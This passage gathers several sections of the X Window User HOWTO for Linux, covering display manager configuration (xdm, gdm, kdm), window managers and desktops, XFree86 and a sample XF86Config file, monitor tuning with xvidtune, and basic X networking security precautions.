 /usr/X11R6/bin/xv -quit -root /usr/share/pixmaps/Backgrounds/InDreams.jpg \
   || xsetroot -solid darkblue

/etc/X11/xdm/Xresources controls the X "resources" used during log in. In this context, "resources" are user preferences for such items as fonts and colors (described in more detail below). Below is a snippet that sets up fonts for the log-in widget:

 #if WIDTH > 800
 xlogin*greetFont: -adobe-helvetica-bold-o-normal--24-240-75-75-p-138-iso8859-1
 xlogin*font: -adobe-helvetica-medium-r-normal--18-180-75-75-p-103-iso8859-1
 xlogin*promptFont: -adobe-helvetica-bold-r-normal--18-180-75-75-p-103-iso8859-1
 xlogin*failFont: -adobe-helvetica-bold-r-normal--18-180-75-75-p-103-iso8859-1
 #else
 xlogin*greetFont: -adobe-helvetica-bold-o-normal--17-120-100-100-p-92-iso8859-1
 xlogin*font: -adobe-helvetica-medium-r-normal--12-120-75-75-p-69-iso8859-1
 xlogin*promptFont: -adobe-helvetica-bold-r-normal--12-120-75-75-p-69-iso8859-1
 xlogin*failFont: -adobe-helvetica-bold-o-normal--14-140-75-75-p-82-iso8859-1
 #endif

As you can see this is using helvetica as the preferred font, with different point sizes and dots per inch depending on the screen size. This is customizable to suit individual needs. (See below for more on understanding X font naming conventions.) Various other aspects can similarly be configured.

/etc/X11/xdm/Xsession is the rough equivalent to xinitrc for startx. It will similarly set up a default environment for keyboard, etc. And can also start either KDE or GNOME, and other X client programs. This is the system wide configuration file. It should also check the user's home directory for ~/.xsession, and possibly ~/.Xclients, which would contain the user's preferred environment and start up programs, just as ~/.xinitrc did with startx. Again, the files in a user's home directory may be created or modified by the user any time and must be executable shell scripts.

We won't include an ~/.xsession example here, since it would be very similar to the ~/.xinitrc and ~/.Xclients examples above.

We've looked only briefly at the main xdm configuration files. Be sure to read the man page, and look at what is installed locally, for more information. Let's look now at gdm and kdm. We'll just highlight significant differences, since they essentially provide the same functionality.

3.2.2. gdm

gdm is the default display manager for GNOME. gdm was written from scratch, but functions similarly to xdm. The main configuration file is gdm.conf, typically located as /etc/X11/gdm/gdm.conf. This is quite different looking than xdm-config. Comments are denoted with a "#", and the file has sections, with section headers enclosed in square brackets. The command to start X is in the "[servers]" section:

 [servers]
 0=/usr/bin/X11/X
 #1=/usr/bin/X11/X

Notice this has potentially two displays set up, but the second one is commented out. Add any additional X startup options here, e.g. "-dpi 100". The log-in screen and log-in widget are configured in the "[greeter]" section.

Start up clients and programs are determined by the "SessionDir" statement in the "[daemon]" section. On my installation, this points to /etc/X11/gdm/Sessions/, which contains several short scripts. If I look at my Default script, it actually executes /etc/X11/xdm/Xsession, which in turn would execute ~/.xsession, if present. So at this final stage, gdm acts very much like xdm.

GNOME includes the gdmconfig utility to control many aspects of gdm behavior.

3.2.3. kdm

kdm is the display manager from KDE. The main configuration file for kdm is kdmrc and is typically installed as /etc/kde/kdm/kdmrc. As is the case with gdm.conf, kdmrc uses "#" for comments, and has sections with section headers in similar square brackets. kdm configuration can also be edited with the kcontrol utility.

The visible desktop is configured in the "[Desktop*]" section(s), and by the "Setup" directive which should point to a file like /usr/share/config/kdm/Xsetup or /etc/X11/xdm/Xsetup_0. This will accomplish the same thing as xdm's Xsetup_0 does: namely running any programs the user might want such as xconsole.

The command to launch the X server is the "Xservers" directive in the "[General]". Again, this should point to a file such as /etc/X11/xdm/Xservers, and uses the same syntax as xdm:

 :0 local /usr/X11R6/bin/X

Any command line options for the X server, go here.

The login widget itself is configured in the "[X-*-Greeter]" section(s). Compiled in defaults are used if the user does not specify any.

KDE includes the kdmdesktop utility to control some aspects of kdm behavior, mostly just the login background.

Prev | Home | Next
XFree86 |  | More X Configuration


Window Managers and Desktops

The X Window User HOWTO
Prev Next

6. Window Managers and Desktops

We won't delve into configuring Window Manager's and Desktop Environments. There is just too much to try to cover in one document. It is important to realize that the two are not the same. There are many, many Window Managers available.

6.1. Window Managers

Window Managers are highly configurable. Many aspects of user interaction can be controlled by the Window Manager.

Some of the most popular Window Managers:

aewm: http://www.red-bean.com/~decklin/aewm/

AfterStep: http://www.afterstep.org/

BlackBox: http://sourceforge.net/projects/blackboxwm

Enlightenment: http://www.enlightenment.org/pages/main.html

fvwm: http://www.fvwm.org/

IceWM: http://www.icewm.org/

olwm (OpenLook Window Manager): http://www.plig.org/xwinman/olvwm.html

Sawmill: http://sawmill.sourceforge.net/

WindowMaker: http://www.windowmaker.org/

XFce: http://xfce.org/

There are many, many lesser known ones as well. Check at freshmeat for others.

GNOME and KDE both have their default Window Manager, but support other, compliant Window Managers as well. Your distribution probably has included at least several. Try them all if you don't already have a favorite. Your distribution probably also has a method of switching dynamically between Window Managers (and Desktop Environments too).

6.2. Desktop Environments

Desktop Environments are not really new, but their popularity has increased with advent of the two big names: KDE and GNOME. To a certain extent, the Desktop Environment functionality overlaps the Window Manager's. They both can be responsible for the root window background, root window menu, icons, taskbars, etc. Generally speaking, if a Desktop Environment is running, it is controlling these aspects. That is the main idea behind them -- to integrate the various components into a cohesive, consistent whole. Desktop Environments also add some interoperability and ease-of-use features that a simple Window Manager cannot.

Oh, another point: Desktop Environments also try to do as much X session configuration as possible. Any of their compliant clients will more than likely be configured by the Desktop, or have it's own configuration that conforms to the Desktop's style. This is at least partly to avoid much of the seemingly helter-skelter text file configuration we looked at in the above sections, and make life a little easier for the user.

There is a trade-off in this additional functionality, and that is that it takes memory and system resources to oversee all this. If you have plenty of memory and a fast computer, this is no problem. But in low memory situations, this can cause a slowdown (see the performance section below). 64M of RAM is probably borderline with either KDE or GNOME.

So do you need a Desktop Environment? That is up to the user. They are certainly not required to run X, but do add features that many users want or expect in a GUI. Which one is better? Ah, but that is up to you to decide!

KDE has been around longer than GNOME, and some would say maybe a little more mature. KDE is based on the QT widget toolkit. A quote from the KDE home page:

KDE is a powerful Open Source graphical desktop environment for Unix workstations. It combines ease of use, contemporary functionality, and outstanding graphical design with the technological superiority of the Unix operating system.

KDE is a mature desktop suite providing a solid basis to an ever growing number of applications for Unix workstations. KDE has developed a high quality development framework for Unix, which allows for the rapid and efficient creation of applications.

GNOME is based on the GTK+ toolkit. And a quote from the GNOME home page:

GNOME stands for GNU Network Object Model Environment. The GNOME project intends to build a complete, user-friendly desktop based entirely on free software. GNOME is part of the GNU project, and GNOME is part of the Open Source(tm) movement. The desktop will consist of small utilities and larger applications which share a consistent look and feel. GNOME uses GTK+ as the GUI toolkit for all GNOME-compliant applications.

XFce is a lighter weight, less featureful Desktop Environment that does not get as much attention as the others. XFce is also based on the GTK+ toolkit. And a quote from the XFce home page:

The XFce project was first started because I needed a simple, light and efficient environment for my Linux System.

I believe that the desktop environment should be made to increase user productivity. Therefore, the goal is keep most system resources for the applications, and not to consume all memory and CPU usage with the desktop environment.

All these have their own extensive documentation. If you can't find what you need installed on your system, check the respective home pages.

Prev | Home | Next
Fonts and Colors |  | X and the Command Line


XFree86

The X Window User HOWTO
Prev Next

2. XFree86

Virtually every Linux distribution comes with XFree86's X Window System implementation. This project, of course, provides us the X server, but also includes an extensive suite of utilities and applications to help implement a fully functional GUI environment.

In fact, the list would be just too long to list everything that comes with XFree86. In addition to the X server itself, here are a few of the noteworthy utilities:

xdm - the X Display Manager.

xfs - the X Font Server.

twm - a lightweight Window Manager.

xterm - the best known terminal emulator. Also, xterm3d and nxterm.

xwd - a screen and window image capturer.

xf86config - X server configuration utility.

xdpyinfo - X display information utility. This shows great detail about the X server.

xlsclients - lists currently connected X server clients.

xlsfonts - lists fonts available to X.

appres - lists the X "resources" that a program will use.

xfontsel - an application for viewing or selecting fonts.

xprop - a tool for displaying window "properties", such as the Class name of the client.

xset - sets user preferences for many things, including mouse, keyboard, sound (bell), etc.

xsetroot - a program for changing the "root window" appearance, e.g. setting a background color.

xvidtune - an application to adjust X server video modes and monitor related settings.

xwininfo - displays information about a selected "window".

xmodmap - a utility for manipulating keyboard and mouse button mappings.

Many, many fonts. And quite a bit of documentation as well.

There are many more. We'll just touch on a few of these utilities here. But feel free to explore the others. Most should have their own man pages.

2.1. Hardware

The X server controls both input (keyboard, mouse, etc) and output (display, monitor) devices.

Compatible hardware is a tough topic, since it is very much a moving target. We are forced here to avoid specifics, since this would surely change by the time you read this. And would be tediously lengthy anyway.

So let's settle for some generalities. Most PC type hardware is supported to one degree or another. Big help ;-)

Rule of thumb: if it is a device that uses a long-standing, commonplace protocol (e.g. PS/2), it should be well supported. Conversely, if it is something relatively new, with ground-breaking technology, the odds are not as good. This is just the nature of the beast with open source development versus manufacturers that cater more to the most popular platforms. Some manufacturers are more co-operative than others too.

Now, some general guidelines:

  • Monitors - This is easy. Linux does not really need to be compatible with the monitor per se. That is the job of the video card. Any monitor that your graphics card can drive should do fine. Including, flat panel monitors.

  • Video cards - This is much tougher. The X server is determined by the the chipset. Many, many are supported. But inevitably there are always some newer cards, or even revised cards, that are not. And some may have better support and better optimization than others. Advanced features such as multi-headed displays, 3D, TV out, DRI, etc., have some support as well, though this should be researched first, as the support may be limited. Supported cards are listed: http://xfree86.org/cardlist.html.

    Open source drivers are often developed incrementally. For instance, a particular card may work well for basic display purposes, but specialized features such as 3D may come much later in the development cycle. This is a quite different development model than with proprietary drivers from the manufacturer.

  • Keyboards -- Any standard PC type keyboard should do fine, including PS/2, USB and many infra-red devices. Probably many "non-standard" ones too ;-)

  • Mice and other pointer devices -- Most should be supported including PS/2, bus, serial, USB and many infra-red devices. Optical mice also. Unix has long preferred three button mice, though more buttons is supported as well. Many wheeled mice have X server support via the "IMPS/2" (IntelliMouse), or other specific protocols, though may require supplemental configuration for some individual applications. (See the Links section.)

  • Laptops have their own unique set of problems since the hardware tends to be very specialized, and often different from what is commonly found on desktop style systems. X is supported by many. Check for details at http://www.linux-laptop.net/.

You can check the "hardware compatibility list" at your distribution's web site too. This should give a very good idea of what should work with your release.

Newer versions of XFree86 obviously will have better hardware support. If you are using an older Linux version and don't have full hardware support, see about upgrading XFree86. Check first to see if your distribution has updates for your release.

2.2. XF86Config

The primary configuration file for XFree86 is XF86Config, which may exist on your system as XF86Config-4 for XFree86 v4.x, or possibly other variations (see man page). It is typically located as /etc/X11/XF86Config, though again, there may be variations in the path. If both a XF86Config-4 and XF86Config exist, XFree86 v4.x will use the former. This is a required file.

XF86Config file defines hardware devices, and other critical components of the X server environment.

While this is a plain text file, and is editable, it is most often created during installation by whatever utility your vendor uses for this purpose. XFree86 also includes the xf86config utility for this, but many distributions have their own such utilities. These utilities can be run after installation if need be, to alter the configuration, or if new hardware is installed. Read your locally installed documentation first. If you attempt to hand edit this file, be sure to make a backup copy first since X won't start if this file is not to its liking ;-)

This file contains various "sections". Each section defines some fundamental aspect of XFree86, such as "InputDevice" (mouse, keyboard, joystick, etc), "monitor", or "screen". The XF86Config man page describes the sections and common values for each. Note that the values listed in the man page is not a comprehensive listing. There are many device specific "options". Check http://xfree86.org for notes and tips on your hardware.

The author's current XF86Config-4, as generated by Red Hat's installer for XFree86 4.1:

Section "ServerLayout"
    Identifier "XFree86 Configured"
    Screen      0  "Screen0" 0 0
    InputDevice    "Mouse0" "CorePointer"
    InputDevice    "Keyboard0" "CoreKeyboard"
EndSection

Section "Files"
   # The location of the RGB database.
   RgbPath     "/usr/X11R6/lib/X11/rgb"

   # Multiple FontPath entries are allowed (they are concatenated together)
   # By default, Red Hat 6.0 and later now use a font server independent of
   # the X server to render fonts.
   FontPath "unix/:7100"
EndSection

# Module loading section

Section "Module"
    Load  "dbe"		# Double-buffering
    Load  "GLcore"		# OpenGL support
    Load  "dri"		# Direct rendering infrastructure
    Load  "glx"		# OpenGL X protocol interface
    Load  "extmod"		# Misc. required extensions
    Load  "v4l"		# Video4Linux
#    Load  "fbdevhw"
     Load  "pex5"
     Load  "record"
     Load  "xie"
EndSection

Section "InputDevice"
    Identifier  "Keyboard0"
    Driver      "keyboard"
    Option      "XkbLayout"	"us"

#    Option  "AutoRepeat"    "500 5"

# when using XQUEUE, comment out the above line, and uncomment the
# following line
#    Option  "Protocol"      "Xqueue"

# Specify which keyboard LEDs can be user-controlled (eg, with xset(1))
#    Option  "Xleds"         "1 2 3"

# To disable the XKEYBOARD extension, uncomment XkbDisable.
#    Option  "XkbDisable"

# To customize the XKB settings to suit your keyboard, modify the
# lines below (which are the defaults).  For example, for a non-U.S.
# keyboard, you will probably want to use:
#   Option  "XkbModel"      "pc102"
# If you have a US Microsoft Natural keyboard, you can use:
#   Option  "XkbModel"      "microsoft"
EndSection

Section "InputDevice"
    Identifier  "Mouse0"
    Driver      "mouse"
    Option      "Device" "/dev/mouse"
    Option      "Protocol" "IMPS/2"
    Option      "Emulate3Buttons" "off"
    Option      "ZAxisMapping" "4 5"
EndSection

Section "Monitor"
    Identifier "Sylvania F74"
    VendorName "Unknown"
    ModelName  "Unknown"
    HorizSync   30 - 70
    VertRefresh 55 - 120
    Option "dpms"
#    Modelines go here if necessary. Use xvidtune to get proper values.
EndSection

Section "Device"
    Identifier "ATI Rage 128"
    Driver "r128"
    BoardName "Unknown"
EndSection

Section "Device"
    Identifier "Linux Frame Buffer"
    Driver "fbdev"
    BoardName "Unknown"
EndSection

Section "Screen"
    Identifier "Screen0"
    Device "ATI Rage 128"
    Monitor "Sylvania F74"
    DefaultDepth 24
    Subsection "Display"
        Depth 24
        Modes "1400x1050" "1280x1024" "1152x864" "1024x768" "800x600"
    EndSubSection
    Subsection "Display"
        Depth 16
        Modes "1600x1200" "1400x1050" "1280x1024" "1152x864" "1024x768" "800x600"
    EndSubSection
    Subsection "Display"
        Depth 8
        Modes "1024x768" "800x600" "640x480"
    EndSubSection
EndSection

Section "DRI"
    Mode 0666
EndSection

Yours may look quite different. This is just one possible configuration with gratuitous comments from Red Hat (and me), and is for a fairly ordinary set up. There is nothing exotic here like multiple screens or displays.

It is beyond the scope of this document to explain this in detail. See the XF86Config man page. Also, consider visiting xfree86.org and look for specific options that might apply to your card or other hardware.

Just one quick note on the "Screen" section above. Notice there are three sub-sections, identified as "Display". Each sub-section has a different "Depth" specified, (a.k.a. ColorDepth). The "Modes" also vary somewhat according to the respective "Depth" setting. The active "Display" sub-section that will be used, is determined by the "DefaultDepth" setting (unless over-ridden by command line options). The default in this example is defined as "24", so the first sub-section will be used. Also, the highest "Mode" listed in this sub-section will be the default mode (resolution), which here is the first one listed. The first listed mode also determines the viewable screen area, which can be smaller than the mode (resolution) itself. In which case, you would have a virtual desktop that is larger than the viewable screen. To have the viewable screen, and resolution match, have the largest value as the first value listed for each "Mode".

Another note on the "Modes" here: what you see is the result of my choices during Red Hat's Xconfigurator's configuration. These are standard resolutions, but do not have to be! This is only limited by what your hardware can support. And you don't have to use standard width x height ratios either. Something like 1355x1112 is a valid setting (if your hardware supports it and it floats your boat!).

The X server will reject any "Modes" it thinks are invalid. You can cycle through valid modes to change screen resolution with Ctrl-Alt-+ and Ctrl-Alt-- (that's the keypad plus and minus keys).

In versions prior to v4.x, you would also see many "Modeline" statements that attempted to define the monitor's capabilities. These statements would look something like:

 # 1024x768 @ 100Hz, 80.21 kHz hsync
 Modeline "1024x768"  115.5  1024 1056 1248 1440  768  771  781  802 -HSync -VSync

Explicit "Modeline" definitions are not required as of 4.x ;-) This sometimes required hand editing to get optimal values in earlier versions of XFree86, though is generally not necessary with v4.x. The XFree86 Video Timings HOWTO, http://www.linuxdoc.org/HOWTO/XFree86-Video-Timings-HOWTO/index.html has a nice, but rather technical, explanation of this.

If whatever configuration utility you are using, does not automatically recognize your video card or monitor specifications correctly, you are unlikely to get an optimal configuration. In such cases, you may have to manually supply the correct values. This should be available from your owner's manual (you kept that, right?). Or, check the manufacturer's web site.

Again, hand editing of this file is generally unnecessary. Should you decide this is indeed necessary, be careful. One small error may cause X to fail. Any changes to this file will require restarting X for the changes to take effect.

Using somebody else's XF86Config file, is generally a bad idea since they are unlikely to have identical hardware.

2.3. xvidtune and Monitor Tuning

You probably want to get the most out of your hardware. If X isn't configured optimally, consider re-running your vendor's X configuration utility and try to get better results. It is highly unlikely that you could hurt anything by experimenting. Most modern monitors now have safeguards that prevent a meltdown ;-)

If you over-do it though X may not be able to start. For this reason, I prefer to use the "startx" way of starting X (see below) while "experimenting". This way if X crashes, the display manager (GUI login) will not loop and cause you severe headaches. startx just gracefully goes back to a text console screen, where an error message may be visible.

Another way of tweaking monitor related settings is with XFree86's xvidtune program. This is run interactively and can be used to adjust various settings (see man page). The simple dialog box has sliders and buttons that allow user input and adjustment. The top part has horizontal monitor settings on the left, and vertical settings on the right. The buttons just below the sliders can be used to adjust each.

This is sometimes used to adjust the viewable screen area, such as to center it, or increase its size to fill the monitor's viewport. When xvidtune is launched, it defaults to the current settings.

The bottom left corner has buttons that can "Apply" new settings, "Test" new settings, or "Show" current settings (i.e. dump to screen), among other things. Any changes made here are not saved. If new settings are "Applied", it is just for the current session. Example output of xvidtune "Show":

 Vendor: Unknown, Model: Unknown
 Num hsync: 1, Num vsync: 1
 hsync range 0:  30.00 -  70.00
 vsync range 0:  55.00 - 120.00
 "1400x1050"   122.00   1400 1488 1640 1880   1050 1052 1064 1082 +hsync +vsync

The last line is the "Modeline" being used to drive the current screen. See The XFree86 Video Timings HOWTO, http://www.linuxdoc.org/HOWTO/XFree86-Video-Timings-HOWTO/index.html, for more on "Modelines".

You can test modification, and apply them to the current session. For changes to be made permanent, they will have to be added manually to the "Monitor" section of XF86Config (or XF86Config-4 for v.4.x) with a text editor.

xvidtune will dutifully warn of you of the hazards of playing with the monitor settings. It is unlikely you can hurt anything with modern monitors. But it is best used to make minor adjustments. Use at your own risk!

Prev | Home | Next
Introduction |  | Running X


X Networking and Security

The X Window User HOWTO
Prev Next

8. X Networking and Security

As mentioned, X is essentially a networking protocol with graphical displaying capabilities. This makes for some interesting usage possibilities. And also means there are inherent security considerations, as there is with any networking environment. And if you ever connect to the Internet, you are in the midst of one very large, hostile network ;-)

X clients connect to X servers via various networking protocols, including TCP/IP. Even with just local connections. Possible usages here are to run an application on one computer, and display it on another. Or, to actually log in to a remote system, and have it display to your local screen, with the client apps using the remote system's CPU and RAM.

Without any precautions, this can leave you wide open to various types of mischief and abuse. For instance, anyone logged into to your system can access your "display", meaning they can see what you are doing if they want to. Thankfully, most recent Linux releases come with some default security precautions enabled. But it is best to make sure for yourself that you are protected.

Both X networking and security are nicely covered in The Remote X Apps Mini HOWTO, http://www.linuxdoc.org/HOWTO/mini/Remote-X-Apps.html, so we won't need to try to rehash it here. Recommended reading. See other references in the Links section of the Appendix below.

A few recommended precautions:

  • Never, ever run X as root. The number of bad things that can happen, dramatically increases when logged in as root. Learn to run as much as possible as a regular user, and su to root only when needed. This may sound like a lot of extra work (and probably is at first), but once the "right" way of doing things is learned, it soon becomes second nature.

    A brief anecdote from a friend: he had a client who's new system stopped "working". Curiously, he found the entire /dev directory was missing, which he re-installed and all was well again. He was back a few days later and found the system logged in as root to X, and someone had clicked on /dev in the file manager, and dragged it onto the desktop. Smooth move!

  • If you ever connect to a network with untrusted users, be sure to have a firewall between you and them. This goes double for the Internet. Firewalling is beyond the scope of this document, but is covered in many other places, including your vendor's website. http://linuxdoc.org has several security HOWTOs that can help as well. http://linuxsecurity.com/docs/ is another good place to look.

  • You can disable TCP connections with the "-nolisten tcp" command line X server switch. This does not help for local connections though. For xinit/startx:

 exec X :0 -dpi 100 -nolisten tcp

    Placed in ~/.xserverrc. And for xdm, in /usr/lib/X11/xdm/Xservers:

 :0 local /usr/X11R6/bin/X :0 -nolisten tcp

Prev | Home | Next
X and the Command Line |  | Performance Considerations